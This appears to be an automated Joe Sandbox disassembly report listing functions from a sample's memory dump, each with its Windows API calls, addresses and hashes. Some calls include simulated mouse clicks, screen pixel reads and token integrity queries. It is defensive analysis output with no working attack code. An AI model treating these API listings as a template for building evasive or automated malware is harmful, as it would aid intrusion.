Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: f84d5cd2a54423ad6ca9e7dfadc4cd146af2812db2340d822a5a45e84c0d6212
Instruction ID: 675f5b480609a6c2aaa40043d3a1a382a01391a32485c420e16625028525f2b2
Opcode Fuzzy Hash: f84d5cd2a54423ad6ca9e7dfadc4cd146af2812db2340d822a5a45e84c0d6212
Instruction Fuzzy Hash: 48414F71A0861AFBDF159F64C844BFEB774FB05324F20832AF529A72A0C7346950DB91

Function 00A53874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00A538CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00A53922
TranslateMessage.USER32(?), ref: 00A5394B
DispatchMessageW.USER32(?), ref: 00A53955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A53966

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: b7ffe7d1aaf2553f1b479b2106e5158670d983fb6dca56e398028294e3bcd772
Instruction ID: ef926945a83d61325c9f99103bbe1b905bdb9e2bec18a785703ae04fbb4ca2f7
Opcode Fuzzy Hash: b7ffe7d1aaf2553f1b479b2106e5158670d983fb6dca56e398028294e3bcd772
Instruction Fuzzy Hash: 72311BB2504341DEEF35CBB49C68BB637E8BB41382F44455DE852C20A1E3F4968ECB11

Function 00A5CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 00A5CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00A5CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00A5C21E,00000000), ref: 00A5CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00A5C21E,00000000), ref: 00A5CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00A5C21E,00000000), ref: 00A5CFF2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 9f73d274c89a3f0cc2f0526f18a1f335ccfdb1e9d77101a15d56cb8f24d12765
Instruction ID: 0466abcf146dfca9120b4e909d376ad28bd9d749d29035f6ee761a86e26ff1d4
Opcode Fuzzy Hash: 9f73d274c89a3f0cc2f0526f18a1f335ccfdb1e9d77101a15d56cb8f24d12765
Instruction Fuzzy Hash: 0A317F71600305AFDB24DFA5CC84AABBBF9FF14322B10842EF906D2145DB30AD49DB60

Function 00A41901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00A41915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00A419C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00A419C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00A419DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00A419E2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: a2067ca4730e3e4d400ff7751697140dddf79a15f93868eadf6d8bdf2ec9c421
Instruction ID: 58589c74e98d3409c595e35ea498523beea2a693a4ffcda11270d9e36bd6a61d
Opcode Fuzzy Hash: a2067ca4730e3e4d400ff7751697140dddf79a15f93868eadf6d8bdf2ec9c421
Instruction Fuzzy Hash: 6531B475A00219EFCB04CFA8CD99ADE7BB5FB44325F108229F925A72D1C7709D94DB90

Function 00A75706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00A75745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00A7579D
_wcslen.LIBCMT ref: 00A757AF
_wcslen.LIBCMT ref: 00A757BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A75816

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 49a0e2a70fb0dde5a57c3d7db4fd88c0adaac32c66f6130cbc0929e4ec5456f7
Instruction ID: f7928fd440bc9961a3fca08175903cefc8c7261324e0a6c019d2ad594798e4f6
Opcode Fuzzy Hash: 49a0e2a70fb0dde5a57c3d7db4fd88c0adaac32c66f6130cbc0929e4ec5456f7
Instruction Fuzzy Hash: 2B217171D046189ADB209FB4DC85AEE77B8FF04725F10C61AEA2DEA1C0D7B49985CF50

Function 009F990F Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009F98CC
SetTextColor.GDI32(?,?), ref: 009F98D6
SetBkMode.GDI32(?,00000001), ref: 009F98E9
GetStockObject.GDI32(00000005), ref: 009F98F1
GetWindowLongW.USER32(?,000000EB), ref: 009F9952

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Color$LongModeObjectStockTextWindow
String ID:
API String ID: 1860813098-0
Opcode ID: 1f89f116b3fa3097e07dfd5a6916d666ccbabdee8d1e04dbcf312721cc08c0e5
Instruction ID: 95f4b3b4095c73b89ebbfc5295139f0ace1d76436b9a51920a3984d05a4b44e0
Opcode Fuzzy Hash: 1f89f116b3fa3097e07dfd5a6916d666ccbabdee8d1e04dbcf312721cc08c0e5
Instruction Fuzzy Hash: 69212831145254DFCB22CF61ECA4BF93B74EF26370B58415EF5528B1A1C7754882CB51

Function 00A60930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00A60951
GetForegroundWindow.USER32 ref: 00A60968
GetDC.USER32(00000000), ref: 00A609A4
GetPixel.GDI32(00000000,?,00000003), ref: 00A609B0
ReleaseDC.USER32(00000000,00000003), ref: 00A609E8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 010876109e3ca5e255add8becc19191aff32baaecdee4bb1aa01265ee87485a6
Instruction ID: 902fc1152bc20970a80cb79c77d1876795d2da0859364ecf13dd59e7005727e9
Opcode Fuzzy Hash: 010876109e3ca5e255add8becc19191aff32baaecdee4bb1aa01265ee87485a6
Instruction Fuzzy Hash: 86216D36600204AFD704EFA5DD85AAEBBF9EF48711F04846CF85AA7362DB70AD45CB50

Function 00A1CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A1CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A1CDE9

Part of subcall function 00A13820: RtlAllocateHeap.NTDLL(00000000,?,00AB1444,?,009FFDF5,?,?,009EA976,00000010,00AB1440,009E13FC,?,009E13C6,?,009E1129), ref: 00A13852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00A1CE0F
_free.LIBCMT ref: 00A1CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A1CE31

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: a2d86546fd788d77a3fb3c4ce099119e2ac538b985da2735316e602d866d9c7e
Instruction ID: b2befdc3982a28565ebfd58f54ae4f056e31cd7b1449fc4972621cbb4992c5fa
Opcode Fuzzy Hash: a2d86546fd788d77a3fb3c4ce099119e2ac538b985da2735316e602d866d9c7e
Instruction Fuzzy Hash: 6401D4726412157FA3215BBA6C88DBF696DDFC6BB1315412DF909C7240EA608D8282B0

Function 009F9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009F9693
SelectObject.GDI32(?,00000000), ref: 009F96A2
BeginPath.GDI32(?), ref: 009F96B9
SelectObject.GDI32(?,00000000), ref: 009F96E2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 36a82c860e96e2f2d2b46c3fe31d98a383f1bdbee76c6939448d53526afe8870
Instruction ID: b22d05983a30ec6228efa8ad4b63dc8ce8f29336e0f717f0bd7cca2388961fc1
Opcode Fuzzy Hash: 36a82c860e96e2f2d2b46c3fe31d98a383f1bdbee76c6939448d53526afe8870
Instruction Fuzzy Hash: AD218070802349EBDB11DFA4DC287B93BA8BB40325F90431AF524E61B2D3705893CF94

Function 00A45711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00A45726
_memcmp.LIBVCRUNTIME ref: 00A45744
_memcmp.LIBVCRUNTIME ref: 00A45757
_memcmp.LIBVCRUNTIME ref: 00A4576F
_memcmp.LIBVCRUNTIME ref: 00A45787

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: bf750035db019a7988f6074ada1cc02f5aea1b8b9f8502e43b6273165b4e3999
Instruction ID: cab96bffaaed1fff9cd6659e17c20ccfe90db82d826c2cdd9e1cac62d8295499
Opcode Fuzzy Hash: bf750035db019a7988f6074ada1cc02f5aea1b8b9f8502e43b6273165b4e3999
Instruction Fuzzy Hash: BE017EB5A41609BFD6085621DE41FFB735DAFA1355F008831FD08AE582F761ED11C2B1

Function 00A12DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00A0F2DE,00A13863,00AB1444,?,009FFDF5,?,?,009EA976,00000010,00AB1440,009E13FC,?,009E13C6), ref: 00A12DFD
_free.LIBCMT ref: 00A12E32
_free.LIBCMT ref: 00A12E59
SetLastError.KERNEL32(00000000,009E1129), ref: 00A12E66
SetLastError.KERNEL32(00000000,009E1129), ref: 00A12E6F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e96437c3536bbe319b0be7e2c919c2f91a239798accfe97884cc9041b4ab91ce
Instruction ID: 091b411c653234675fe413f7bff2a347a9432364660961154390452131d2333d
Opcode Fuzzy Hash: e96437c3536bbe319b0be7e2c919c2f91a239798accfe97884cc9041b4ab91ce
Instruction Fuzzy Hash: 20012D322456006BD61277746D45FEB1E6DABD13B1B25412CF419E71D2EF34CCE24320

Function 00A4000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?,?,00A4035E), ref: 00A4002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?), ref: 00A40046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?), ref: 00A40054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?), ref: 00A40064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?), ref: 00A40070

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 727f02c90de4041fff44b9160a82e36e82c8772004d56934b2302b94e1f02e5d
Instruction ID: d1845c034055e6f89088b9adbb84e2116e00a7b66303b2161aff4b16ec5c534e
Opcode Fuzzy Hash: 727f02c90de4041fff44b9160a82e36e82c8772004d56934b2302b94e1f02e5d
Instruction Fuzzy Hash: E6014476600214BFDB118FA9DC44FAA7AADEBC4762F148128FE09D6210D775DD419760

Function 00A410F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A41114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A41120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A4112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A41136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A4114D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: bf85500af108747e469fd75c2ff74399e9fc116fd75ca04d644aa54c714c7bfe
Instruction ID: 85033c2307c0163f23194736001e89af61e6db2e0970d84e1548a6bc68e664e6
Opcode Fuzzy Hash: bf85500af108747e469fd75c2ff74399e9fc116fd75ca04d644aa54c714c7bfe
Instruction Fuzzy Hash: F6018179100205BFDB118FA8DC49E6A3F6EEF85375B10442CFA45C7350DB31DC818A60

Function 00A40FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00A40FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00A40FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00A40FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00A40FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00A41002

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: c2a8f4f3ef2aeebb2e784dcaa81337d8af4cc496652801f0685689e4f0d99293
Instruction ID: 9089c659121e3538dcbe03f250bb45197e384a60fc2ac339171f059202a7b0af
Opcode Fuzzy Hash: c2a8f4f3ef2aeebb2e784dcaa81337d8af4cc496652801f0685689e4f0d99293
Instruction Fuzzy Hash: 64F04F39100311ABD7218FA4AC49F563FADEFC9761F508428F94AD6251CA70DC818A60

Function 00A41014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00A4102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00A41036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A41045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00A4104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A41062

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 5aef5095e3379088456ba9d5962ff4c73c2d5a17aa1b93be2c914b4b49c2d236
Instruction ID: e55aff7e7d89463eaf8ed88d29367716ce26af055cbfb930b16c9e6a6d4633c8
Opcode Fuzzy Hash: 5aef5095e3379088456ba9d5962ff4c73c2d5a17aa1b93be2c914b4b49c2d236
Instruction Fuzzy Hash: 69F06D39200311EBDB219FE4EC59F563BADEFC9761F504428FA49D7250CA70D8928A60

Function 00A5030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00A5017D,?,00A532FC,?,00000001,00A22592,?), ref: 00A50324
CloseHandle.KERNEL32(?,?,?,?,00A5017D,?,00A532FC,?,00000001,00A22592,?), ref: 00A50331
CloseHandle.KERNEL32(?,?,?,?,00A5017D,?,00A532FC,?,00000001,00A22592,?), ref: 00A5033E
CloseHandle.KERNEL32(?,?,?,?,00A5017D,?,00A532FC,?,00000001,00A22592,?), ref: 00A5034B
CloseHandle.KERNEL32(?,?,?,?,00A5017D,?,00A532FC,?,00000001,00A22592,?), ref: 00A50358
CloseHandle.KERNEL32(?,?,?,?,00A5017D,?,00A532FC,?,00000001,00A22592,?), ref: 00A50365

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3838e14a8d96642dc291496c386988b1bc7e01c2b5a34336dad3b76a6ae7d208
Instruction ID: 2e0457d3bc8c972b6f0a61e3c59c239a9b58e803a40c2e30003282602e693082
Opcode Fuzzy Hash: 3838e14a8d96642dc291496c386988b1bc7e01c2b5a34336dad3b76a6ae7d208
Instruction Fuzzy Hash: D301A272800B159FC7309F66D890812F7F5BF603263158A3FD19656931C371A959CF80

Function 00A1D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A1D752

Part of subcall function 00A129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000), ref: 00A129DE
Part of subcall function 00A129C8: GetLastError.KERNEL32(00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000,00000000), ref: 00A129F0

_free.LIBCMT ref: 00A1D764
_free.LIBCMT ref: 00A1D776
_free.LIBCMT ref: 00A1D788
_free.LIBCMT ref: 00A1D79A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5f59d58a562c69ea029c2e4f6d056a2cb07d961ed805da26bc32026bcd6cc9a
Instruction ID: 3538a5f99551ff7b4ec4e1e81d3065ee57594ffec17d0a18499f5d31aaf5e27b
Opcode Fuzzy Hash: d5f59d58a562c69ea029c2e4f6d056a2cb07d961ed805da26bc32026bcd6cc9a
